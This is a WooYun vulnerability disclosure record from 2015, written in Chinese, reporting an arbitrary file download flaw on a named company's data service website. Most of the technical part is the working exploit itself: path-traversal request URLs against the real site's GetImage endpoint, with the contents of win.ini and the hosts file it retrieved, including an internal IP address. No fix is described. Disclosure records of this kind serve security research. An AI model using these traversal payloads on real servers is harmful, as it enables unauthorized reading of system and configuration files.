当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131968

漏洞标题:国泰安某站点任意文件下载

相关厂商:国泰安

漏洞作者: 路人甲

提交时间:2015-08-06 13:47

修复时间:2015-09-20 13:48

公开时间:2015-09-20 13:48

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-09-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

任意文件下载

详细说明:

国泰安数据服务中心
http://www.gtarsc.com/

QQ截图20150805214814.png


http://www.gtarsc.com/Login/GetImage?key=../../../../../../../../../../windows/win.ini

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
CMCDLLNAME32=mapi32.dll
CMC=1
MAPI=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1


http://www.gtarsc.com/Login/GetImage?key=../../../../../../../../../../windows/System32/drivers/etc/hosts

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
192.168.103.49 www2.gtadata.cn
127.0.0.1 genuine.microsoft.com
127.0.0.1 mpa.one.microsoft.com
127.0.0.1 sls.microsoft.com


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝